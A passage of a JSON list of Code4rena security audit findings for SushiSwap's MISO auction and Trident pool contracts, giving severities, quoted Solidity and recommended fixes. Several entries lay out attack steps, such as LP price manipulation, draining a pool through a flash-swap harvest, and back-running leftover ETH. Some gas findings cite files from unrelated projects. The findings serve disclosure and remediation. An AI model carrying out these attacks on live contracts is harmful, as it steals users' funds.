"Frontrunning Initialization of Contracts", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/19", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "disagree with severity"], "target": "2021-09-sushimiso-findings", "body": "Frontrunning Initialization of Contracts"}, {"title": "gas improvement in isInList ", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/17", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "gas improvement in isInList "}, {"title": "finalize() can be succesfully called before initMarket()", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/16", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-sushimiso-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function finalize() of all the auction contracts can be called by everyone before initMarket() is called. This will set status.finalized = true, which will probably not be detected until the auction is over (because it is only used in a few locations). If this would happen then the auction cannot be finalized again. Also cancelAuction cannot be called. Luckily the deployment of the auction contracts is done from createMarket in MISOMarket.sol, which directly calls initMarket(). So in practice this won't pose a problem, however future developers or forks might not be aware of this and deploy the contract differently. ## Proof of Concept https://github.com/sushiswap/miso/blob/master/contracts/Auctions/Crowdsale.sol#L374 function finalize() public nonReentrant { require(hasAdminRole(msg.sender) || wallet == msg.sender || hasSmartContractRole(msg.sender) || finalizeTimeExpired(), // initially true \"Crowdsale: sender must be an admin\" ); MarketStatus storage status = marketStatus; require(!status.finalized, \"Crowdsale: already finalized\"); // initially status.finalized==false MarketInfo storage info = marketInfo; require(auctionEnded(), \"Crowdsale: Has not finished yet\"); // initially true if (auctionSuccessful()) { // initially true /// @dev Successful auction /// @dev Transfer contributed tokens to wallet. _safeTokenPayment(paymentCurrency, wallet, uint256(status.commitmentsTotal)); /// @dev Transfer unsold tokens to wallet. uint256 soldTokens = _getTokenAmount(uint256(status.commitmentsTotal)); uint256 unsoldTokens = uint256(info.totalTokens).sub(soldTokens); if(unsoldTokens > 0) { _safeTokenPayment(auctionToken, wallet, unsoldTokens); } } else { /// @dev Failed auction /// @dev Return auction tokens back to wallet. _safeTokenPayment(auctionToken, wallet, uint256(info.totalTokens)); } status.finalized = true; // will end up here emit AuctionFinalized(); } function finalizeTimeExpired() public view returns (bool) { return uint256(marketInfo.endTime) + 7 days < block.timestamp; // initially true (0 + 7 days < block.timestamp) } function auctionSuccessful() public view returns (bool) { return uint256(marketStatus.commitmentsTotal) >= uint256(marketPrice.goal); // initially true (0>=0) } function auctionEnded() public view returns (bool) { return block.timestamp > uint256(marketInfo.endTime) || // // initially true (block.timestamp>0) _getTokenAmount(uint256(marketStatus.commitmentsTotal) + 1) >= uint256(marketInfo.totalTokens); } // https://github.com/sushiswap/miso/blob/master/contracts/MISOMarket.sol#L273 function createMarket(...) { newMarket = deployMarket(_templateId, _integratorFeeAccount); ... IMisoMarket(newMarket).initMarket(_data); ## Tools Used ## Recommended Mitigation Steps In function finalize() add something like: require(isInitialized(),\"Not initialized\"); "}, {"title": "Last person to withdraw his tokens might not be able to do this, in Crowdsale (edge case)", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/15", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "resolved"], "target": "2021-09-sushimiso-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Suppose a Crowdsale is successful and enough commitments are made before the marketInfo.endTime. Suppose marketStatus.commitmentsTotal == marketInfo.totalTokens -1 // note this is an edge case, but can be constructed by an attacker Then the function auctionEnded() returns true Assume auctionSuccessful() is also true (might depend on the config of marketPrice.goal and marketInfo.totalTokens) Then an admin can call finalize() to finalize the Crowdsale. The function finalize distributes the funds and the unsold tokens and sets status.finalized = true so that finalized cannot be called again. Now we have \"marketInfo.totalTokens -1\" tokens left in the contract However commitEth() or commitTokens() can still be called (they give no error message that the auction has ended) Then functions call calculateCommitment, which luckily prevent from buying too much, however 1 token can still be bought These functions also call _addCommitment(), which only checks for marketInfo.endTime, which hasn't passed yet. Now an extra token is sold and the contract has 1 token short. So the last person to withdraw his tokens cannot withdraw them (because you cannot specify how much you want to withdraw) Also the revenues for the last token cannot be retrieved as finalize() cannot be called again. ## Proof of Concept https://github.com/sushiswap/miso/blob/master/contracts/Auctions/Crowdsale.sol#L374 ```JS function finalize() public nonReentrant { require(hasAdminRole(msg.sender) || wallet == msg.sender || hasSmartContractRole(msg.sender) || finalizeTimeExpired(),\"Crowdsale: sender must be an admin\"); // can be called by admin MarketStatus storage status = marketStatus; require(!status.finalized, \"Crowdsale: already finalized\"); MarketInfo storage info = marketInfo; require(auctionEnded(), \"Crowdsale: Has not finished yet\"); // is true if enough sold, even if this is before marketInfo.endTime if (auctionSuccessful()) { /// @dev Transfer contributed tokens to wallet. /// @dev Transfer unsold tokens to wallet. } else { /// @dev Return auction tokens back to wallet. } status.finalized = true; function auctionEnded() public view returns (bool) { return block.timestamp > uint256(marketInfo.endTime) || _getTokenAmount(uint256(marketStatus.commitmentsTotal) + 1) >= uint256(marketInfo.totalTokens); // is true if enough sold, even if this is before marketInfo.endTime } function auctionSuccessful() public view returns (bool) { return uint256(marketStatus.commitmentsTotal) >= uint256(marketPrice.goal); } function commitEth(address payable _beneficiary, bool readAndAgreedToMarketParticipationAgreement ) public payable nonReentrant { ... uint256 ethToTransfer = calculateCommitment(msg.value); ... _addCommitment(_beneficiary, ethToTransfer); function calculateCommitment(uint256 _commitment) public view returns (uint256 committed) { // this prevents buying too much uint256 tokens = _getTokenAmount(_commitment); uint256 tokensCommited =_getTokenAmount(uint256(marketStatus.commitmentsTotal)); if ( tokensCommited.add(tokens) > uint256(marketInfo.totalTokens)) { return _getTokenPrice(uint256(marketInfo.totalTokens).sub(tokensCommited)); } return _commitment; } function _addCommitment(address _addr, uint256 _commitment) internal { require(block.timestamp >= uint256(marketInfo.startTime) && block.timestamp <= uint256(marketInfo.endTime), \"Crowdsale: outside auction hours\"); // doesn't check auctionEnded() nor status.finalized ... uint256 newCommitment = commitments[_addr].add(_commitment); ... commitments[_addr] = newCommitment; function withdrawTokens(address payable beneficiary) public nonReentrant { if (auctionSuccessful()) { ... uint256 tokensToClaim = tokensClaimable(beneficiary); ... claimed[beneficiary] = claimed[beneficiary].add(tokensToClaim); _safeTokenPayment(auctionToken, beneficiary, tokensToClaim); // will fail is last token is missing } else { ## Tools Used ## Recommended Mitigation Steps In the function _addCommitment, add a check on auctionEnded() or status.finalized "}, {"title": "`PostAuctionLauncher.sol#finalize()` Adding liquidity to an existing pool may allows the attacker to steal most of the tokens", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/14", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "resolved"], "target": "2021-09-sushimiso-findings", "body": "# Handle WatchPug # Vulnerability details `PostAuctionLauncher.finalize()` can be called by anyone, and it sends tokens directly to the pair pool to mint liquidity, even when the pair pool exists. An attacker may control the LP price by creating the pool and then call `finalize()` to mint LP token with unfair price (pay huge amounts of tokens and get few amounts of LP token), and then remove the initial liquidity they acquired when creating the pool and takeout huge amounts of tokens. https://github.com/sushiswap/miso/blob/2cdb1486a55ded55c81898b7be8811cb68cfda9e/contracts/Liquidity/PostAuctionLauncher.sol#L257 ```solidity=216 /** * @notice Finalizes Token sale and launches LP. * @return liquidity Number of LPs. */ function finalize() external nonReentrant returns (uint256 liquidity) { // GP: Can we remove admin, let anyone can finalise and launch? // require(hasAdminRole(msg.sender) || hasOperatorRole(msg.sender), \"PostAuction: Sender must be operator\"); require(marketConnected(), \"PostAuction: Auction must have this launcher address set as the destination wallet\"); require(!launcherInfo.launched); if (!market.finalized()) { market.finalize(); } require(market.finalized()); launcherInfo.launched = true; if (!market.auctionSuccessful() ) { return 0; } /// @dev if the auction is settled in weth, wrap any contract balance uint256 launcherBalance = address(this).balance; if (launcherBalance > 0 ) { IWETH(weth).deposit{value : launcherBalance}(); } (uint256 token1Amount, uint256 token2Amount) = getTokenAmounts(); /// @dev cannot start a liquidity pool with no tokens on either side if (token1Amount == 0 || token2Amount == 0 ) { return 0; } address pair = factory.getPair(address(token1), address(token2)); if(pair == address(0)) { createPool(); } /// @dev add liquidity to pool via the pair directly _safeTransfer(address(token1), tokenPair, token1Amount); _safeTransfer(address(token2), tokenPair, token2Amount); liquidity = IUniswapV2Pair(tokenPair).mint(address(this)); launcherInfo.liquidityAdded = BoringMath.to128(uint256(launcherInfo.liquidityAdded).add(liquidity)); /// @dev if unlock time not yet set, add it. if (launcherInfo.unlock == 0 ) { launcherInfo.unlock = BoringMath.to64(block.timestamp + uint256(launcherInfo.locktime)); } emit LiquidityAdded(liquidity); } ``` In line 257, `PostAuctionLauncher` will mint LP with token1Amount and token2Amount. The amounts (token1Amount and token2Amount) are computed according to the auction result, without considering the current price (reserves) of the existing `tokenPair`. See [PostAuctionLauncher.getTokenAmounts()](https://github.com/sushiswap/miso/blob/2cdb1486a55ded55c81898b7be8811cb68cfda9e/contracts/Liquidity/PostAuctionLauncher.sol#L268) `PostAuctionLauncher` will receive an unfairly low amount of lp token because the amounts sent to `tokenPair` didn't match the current price of the pair. See [UniswapV2Pair.mint(...)](https://github.com/sushiswap/miso/blob/2cdb1486a55ded55c81898b7be8811cb68cfda9e/contracts/UniswapV2/UniswapV2Pair.sol#L135) ```solidity=135 liquidity = MathUniswap.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); ``` ## Impact Lose a majority share of the tokens. ## Proof of Concept 1. The attacker creates LP with 0.0000001 token1 and 1000 token2, receives 0.01 LP token; 2. Call `PostAuctionLauncher.finalize()`. PostAuctionLauncher will mint liquidity with 2000 token1 and 1000 token2 for example, receives only 0.01 LP token; 3. The attacker removes all his LP, receives 1000 token1 (most of which come from PostAuctionLauncher). ## Recommended Mitigation Steps To only support tokenPair created by PostAuctionLauncher or check for the token price before mint liquidity. "}, {"title": "PostAuctionLauncher _deposit require condition contradicts error message", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/13", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "disagree with severity"], "target": "2021-09-sushimiso-findings", "body": "PostAuctionLauncher _deposit require condition contradicts error message"}, {"title": "Teams should be warned not to accept rebasing tokens as payment currencies", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/11", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Teams should be warned not to accept rebasing tokens as payment currencies"}, {"title": "Typo in comment in PointList.sol", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/10", "labels": ["bug", "0 (Non-critical)"], "target": "2021-09-sushimiso-findings", "body": "Typo in comment in PointList.sol"}, {"title": "Redundant liquidityAdded check", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "Redundant liquidityAdded check"}, {"title": "Unnecessary addition in finalize() function", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "Unnecessary addition in finalize() function"}, {"title": "Redundant _newAddress parameter for deprecateFactory", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/4", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "Redundant _newAddress parameter for deprecateFactory"}, {"title": "cancelAuction function is public, but not called internally", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "cancelAuction function is public, but not called internally"}, {"title": "Incorrect comparison in the `_updateReserves` function of `HybridPool`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/190", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "disagree with severity"], "target": "2021-09-sushitrident-findings", "body": "Incorrect comparison in the `_updateReserves` function of `HybridPool`"}, {"title": "Unnecessary condition on `_processSwap` of `HybridPool`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/189", "labels": ["bug", "sponsor disputed", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "Unnecessary condition on `_processSwap` of `HybridPool`"}, {"title": "Division by zero in `_computeLiquidityFromAdjustedBalances` of `HybridPool`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/185", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle broccoli # Vulnerability details ## Impact The `_computeLiquidityFromAdjustedBalances` function of `HybridPool` should return in the `if (s == 0)` statement, or it will cause a divison-by-zero error otherwise. ## Proof of Concept Referenced code: [HybridPool.sol#L350-L352](https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/pool/HybridPool.sol#L350-L352) ## Recommended Mitigation Steps Add `return computed;` after `computed = 0;`. "}, {"title": "Docs disagrees with index pool code", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/184", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "disagree with severity"], "target": "2021-09-sushitrident-findings", "body": "Docs disagrees with index pool code"}, {"title": "No bar fees for IndexPools?", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/181", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact IndexPool doesn't collect fees for `barFeeTo`. Since this Pool contains also a method `updateBarFee()`, probably this is an unintended behavior. Also without a fee, liquidity providers would probably ditch ConstantProductPool in favor of IndexPool (using the same two tokens with equal weights), since they get all the rewards. This would constitute an issue for the ecosystem. ## Recommended Mitigation Steps Add a way to send barFees to barFeeTo, same as the other pools. "}, {"title": "Wrong initialization of `blockTimestampLast` in `ConstantProductPool`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/180", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Wrong initialization of `blockTimestampLast` in `ConstantProductPool`"}, {"title": "Users are susceptible to back-running when depositing ETH to `TridenRouter`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/179", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-09-sushitrident-findings", "body": "# Handle broccoli # Vulnerability details ## Impact The `_depositToBentoBox` and `_depositFromUserToBentoBox` allow users to provide ETH to the router, which is later deposited to the `bento` contract for swapping other assets or providing liquidity. However, in these two functions, the input parameter does not represent the actual amount of ETH to deposit, and users have to calculate the actual amount and send it to the router, causing a back-run vulnerability if there are ETH left after the operation. ## Proof of Concept 1. A user wants to swap ETH to DAI. He calls `exactInputSingleWithNativeToken` on the router with the corresponding parameters and `params.amountIn` being 10. Before calling the function, he calculates `bento.toAmount(wETH, 10, true) = 15` and thus send 15 ETH to the router. 2. However, at the time when his transaction is executed, `bento.toAmount(wETH, amount, true)` becomes to `14`, which could happen if someone calls `harvest` on `bento` to update the `elastic` value of the `wETH` token. 3. As a result, only 14 ETH is transferred to the pool, and 1 ETH is left in the router. Anyone could back-run the user's transaction to retrieve the remaining 1 ETH from the router by calling the `refundETH` function. Referenced code: [TridentRouter.sol#L318-L351](https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/TridentRouter.sol#L318-L351) ## Recommended Mitigation Steps Directly push the remaining ETH to the sender to prevent any ETH left in the router. "}, {"title": "Inconsistent tokens sent to `barFeeTo`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/177", "labels": ["bug", "sponsor disputed", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "Inconsistent tokens sent to `barFeeTo`"}, {"title": "View functions in Hybrid Pool Contract Pool need better documentation", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/175", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "View functions in Hybrid Pool Contract Pool need better documentation"}, {"title": "`_getY` and `_getYD` math operations can be reordered", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/174", "labels": ["bug", "duplicate", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "`_getY` and `_getYD` math operations can be reordered"}, {"title": "`_computeLiquidityFromAdjustedBalances` order of operations can be improved", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/173", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "`_computeLiquidityFromAdjustedBalances` order of operations can be improved"}, {"title": "Funds in the pool could be stolen by exploiting `flashSwap` in `HybridPool`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/167", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle broccoli # Vulnerability details ## Impact An attacker can call the `bento.harvest` function during the callback function of a flash swap of the `HybridPool` to reduce the number of input tokens that he has to pay to the pool, as long as there is any unrealized profit in the strategy contract of the underlying asset. ## Proof of Concept 1. The `HybridPool` accounts for the reserve and balance of the pool using the `bento.toAmount` function, which represents the actual amount of assets that the pool owns instead of the relative share. The value of `toAmount` could increase or decrease if the `bento.harvest` function is called (by anyone), depending on whether the strategy contract earns or loses money. 2. Supposing that the DAI strategy contract of `Bento` has a profit not accounted for yet. To account for the profit, anyone could call `harvest` on `Bento` with the corresponding parameters, which, as a result, increases the `elastic` of the DAI token. 3. Now, an attacker wants to utilize the unrealized profit to steal funds from a DAI-WETH hybrid pool. He calls `flashSwap` to initiate a flash swap from WETH to DAI. First, the pool transfers the corresponding amount of DAI to him, calls the `tridentSwapCallback` function on the attacker's contract, and expects that enough DAI is received at the end. 4. During the `tridentSwapCallback` function, the attacker calls `bento.harvest` to realize the profit of DAI. As a result, the pool's `bento.toAmount` increases, and the amount of DAI that the attacker has to pay to the pool is decreased. The attacker could get the same amount of ETH but paying less DAI by exploiting this bug. Referenced code: [HybridPool.sol#L218-L220](https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/pool/HybridPool.sol#L218-L220) [HybridPool.sol#L249-L250](https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/pool/HybridPool.sol#L249-L250) [HybridPool.sol#L272-L285](https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/pool/HybridPool.sol#L272-L285) [BentoBoxV1Flat.sol#L1105](https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/flat/BentoBoxV1Flat.sol#L1105) [BentoBoxV1Flat.sol#L786-L792](https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/flat/BentoBoxV1Flat.sol#L786-L792) [BentoBoxV1Flat.sol#L264-L277](https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/flat/BentoBoxV1Flat.sol#L264-L277) ## Recommended Mitigation Steps Consider not using `bento.toAmount` to track the reservers and balances, but use `balanceOf` instead (as done in the other two pools). "}, {"title": "Incorrect multiplication in `_computeSingleOutGivenPoolIn` of `IndexPool`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/166", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle broccoli # Vulnerability details ## Impact The `_computeSingleOutGivenPoolIn` function of `IndexPool` uses the raw multiplication (i.e., `*`) to calculate the `zaz` variable. However, since both `(BASE - normalizedWeight)` and `_swapFee` are in `WAD`, the `_mul` function should be used instead to calculate the correct value of `zaz`. Otherwise, `zaz` would be `10 ** 18` times larger than the expected value and causes an integer underflow when calculating `amountOut`. The incorrect usage of multiplication prevents anyone from calling the function successfully. ## Proof of Concept Referenced code: [IndexPool.sol#L282](https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/pool/IndexPool.sol#L282) ## Recommended Mitigation Steps Change `(BASE - normalizedWeight) * _swapFee` to `_mul((BASE - normalizedWeight), _swapFee)`. "}, {"title": "Incorrect usage of `_pow` in `_computeSingleOutGivenPoolIn` of `IndexPool`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/165", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle broccoli # Vulnerability details ## Impact The `_computeSingleOutGivenPoolIn` function of `IndexPool` uses the `_pow` function to calculate `tokenOutRatio` with the exponent in `WAD` (i.e., in 18 decimals of precision). However, the `_pow` function assumes that the given exponent `n` is not in `WAD`. (for example, `_pow(5, BASE)` returns `5 ** (10 ** 18)` instead of `5 ** 1`). The misuse of the `_pow` function could causes an integer overflow in the `_computeSingleOutGivenPoolIn` function and thus prevent any function from calling it. ## Proof of Concept Referenced code: [IndexPool.sol#L279](https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/pool/IndexPool.sol#L279) ## Recommended Mitigation Steps Change the `_pow` function to the `_compute` function, which supports exponents in `WAD`. "}, {"title": "HybridPool's wrong amount to balance conversion", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/164", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "HybridPool's wrong amount to balance conversion"}, {"title": "Overflow in the `mint` function of `IndexPool` causes LPs' funds to be stolen", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/163", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Overflow in the `mint` function of `IndexPool` causes LPs' funds to be stolen"}, {"title": "`_powApprox`: unbounded loop and meaning", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/162", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-findings", "body": "`_powApprox`: unbounded loop and meaning"}, {"title": "Follow Curve's convention: `_getYD` and `_getY`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/156", "labels": ["bug", "sponsor confirmed", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact In HybridPool.sol, functions `_getY` and `_getYD` are identical (only differences are variables' names), and only `_getY` is used in the contract. Since these functions are supposed to mimic those of Curve, it would make more sense to follow their naming conventions. In particular, `_getYD` correctly mimics Curve's `_get_y_D` ([ref](https://github.com/curvefi/curve-contract/blob/master/contracts/pool-templates/base/SwapTemplateBase.vy#L614)), while `_getY` does not mimic Curve's `_get_y` ([ref](https://github.com/curvefi/curve-contract/blob/master/contracts/pool-templates/base/SwapTemplateBase.vy#L379)). ## Recommended Mitigation Steps Consider eliminating `_getY` and using `_getYD` instead in the contract. "}, {"title": "Approximations may finish with inaccurate values", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/155", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2021-09-sushitrident-findings", "body": "Approximations may finish with inaccurate values"}, {"title": "lack of input validation in Transfer() and TransferFrom()", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/153", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "lack of input validation in Transfer() and TransferFrom()"}, {"title": "Rounding errors will occur for tokens without decimals", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/152", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Rounding errors will occur for tokens without decimals"}, {"title": "Using interfaces instead of selectors is best practice", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/150", "labels": ["bug", "sponsor confirmed", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "# Handle tensors # Vulnerability details Throughout the code function selectors are often used instead of interfaces. It is considered best practice to use interfaces instead of selectors for code readability. "}, {"title": "Using 10**X for constants isn't gas efficient", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/148", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle Dravee # Vulnerability details ## Impact In Solidity, a `constant` expression in a variable will compute the expression everytime the variable is called. It's not the result of the expression that is stored, but the expression itself. As Solidity supports the scientific notation, constants of form `10**X` can be rewritten as `1eX` to save the gas cost from the calculation with the exponentiation operator `**`. ## Proof of Concept ``` NFTXInventoryStaking.sol: 28: uint256 public constant BASE = 10**18; NFTXMarketplaceZap.sol: 158: uint256 constant BASE = 10**18; NFTXStakingZap.sol: 163: uint256 constant BASE = 10**18; NFTXVaultUpgradeable.sol: 33: uint256 constant base = 10**18; ``` ## Tools Used Vs Code ## Recommended Mitigation Steps Replace `10**18` with `1e18` "}, {"title": "Consider using solidity 0.8.8", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/141", "labels": ["bug", "1 (Low Risk)"], "target": "2021-09-sushitrident-findings", "body": "Consider using solidity 0.8.8"}, {"title": "Lack of address validation in `MasterDeployer.setMigrator`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/140", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Lack of address validation in `MasterDeployer.setMigrator`"}, {"title": "absolute difference is not calculated properly when a > b in MathUtils", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/139", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle hack3r-0m # Vulnerability details https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/libraries/MathUtils.sol#L22 the difference is computed incorrectly when a > b. As it only used in within1 function, scope narrows down to where `difference(a, b) <= 1;` is exploitable. cases where `difference(a, b) <= 1` should be true but is reported false: - where b = a-1 (returned value is type(uint256).max) cases where `difference(a, b) <= 1` should be false but is reported true: - where a = type(uint256).max and b = 0, it returns 1 but it should ideally return type(uint256).max within1 is used at the following locations: - https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/pool/HybridPool.sol#L359 - https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/pool/HybridPool.sol#L383 - https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/pool/HybridPool.sol#L413 It is possible to decrease the denominator and increase the value of the numerator (when calculating y) using constants and input to make within1 fail Mitigation: Add `else` condition to mitigate it. ``` unchecked { if (a > b) { diff = a - b; } else { diff = b - a; } } ``` (re-submitting this issue after withdrawing past one since I forgot to add more details and POC) "}, {"title": "Lack of address validation in `MasterDeployer.addToWhitelist`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/138", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "Lack of address validation in `MasterDeployer.addToWhitelist`"}, {"title": "Lack of checks for address and amount in `TridentERC20._burn`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/135", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Lack of checks for address and amount in `TridentERC20._burn`"}, {"title": "Lack of checks for address and amount in `TridentERC20._mint`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/131", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Lack of checks for address and amount in `TridentERC20._mint`"}, {"title": "Cache storage variable in the stack can save gas", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/129", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle WatchPug # Vulnerability details Cache storage variable in the stack can save gas. For instance: https://github.com/sushiswap/trident/blob/master/contracts/pool/IndexPool.sol#L140-L155 `outRecord.reserve` is accessed 2 times. https://github.com/sushiswap/trident/blob/master/contracts/pool/IndexPool.sol#L158-L179 https://github.com/sushiswap/trident/blob/master/contracts/pool/IndexPool.sol#L182-L205 `inRecord.reserve` is accessed 3 times. "}, {"title": "Cache array length in for loops can save gas", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/128", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle WatchPug # Vulnerability details Reading array length at each iteration of the loop takes 6 gas (3 for mload and 3 to place memory_offset) in the stack. Caching the array length in the stack saves around 3 gas per iteration. Instances include: - `TimeswapPair.sol#pay()` https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L359-L359 - `PayMath.sol#givenMaxAssetsIn()` https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/libraries/PayMath.sol#L21-L21 "}, {"title": "Style issues", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/127", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "Style issues"}, {"title": "The functions `refundETH` and `unwrapWETH` is generalized-front-runnable", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/124", "labels": ["bug", "1 (Low 